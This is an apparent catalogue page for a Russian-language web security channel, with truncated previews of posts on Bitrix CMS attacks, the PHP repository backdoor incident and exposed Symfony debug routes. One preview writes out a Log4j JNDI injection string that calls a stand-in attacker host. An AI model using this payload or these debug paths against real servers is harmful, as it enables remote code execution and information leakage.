About this channel
9/10This channel provides a platform for discussing and sharing knowledge about web application security. It covers various topics such as web application vulnerabilities, exploitation techniques, and defensive strategies. The content is presented in a clear and concise manner, making it accessible to both beginners and experienced security professionals.
security professionals
news, discussion
active 24/7
neutral
Subscriber Growth
Mentioned Channels
Mentioned by
Уязвимости и атаки на CMS Bitrix 1. Особенности 2. Уязвимости 3. Методы атак Приятного чтения! P.S. Автор crlf
Вчера в официальном репозитории PHP на Github появилось два бэкдора, позволяющие выполнять произвольный код. Что произошло - неясно. Однако разработчики сообщают о возможной компрометации git.php.net.…
У половины интернета нашли выполнение произвольного кода через Log4j. Выглядит это так: 1) Посылаем специально сформированный запрос вида ${jndi:ldap://attacker.host/blabla} в любое место, которое…
Но не все знают, что можно вызвать /app_dev.php/_configurator, который запустит установку движка (оно тебе надо?). Если этот контроллер доступен, интереснее вызвать сразу последнюю страницу /app_dev.…
В фреймворке Symfony иногда не отключают профайлер, который может помочь получить различную техническую информацию о целевой системе. Находится он в роуте app_dev.php.
Reviews
No reviews yet
Be the first to share your experience with this channel.
Rankings
channels / EN| Day | Week | Month | Year | All time | |
|---|---|---|---|---|---|
| Subscribers | — | — | — | — | #16127of 34.7K |
| Mentions | — | — | — | — | #1287of 14.1K |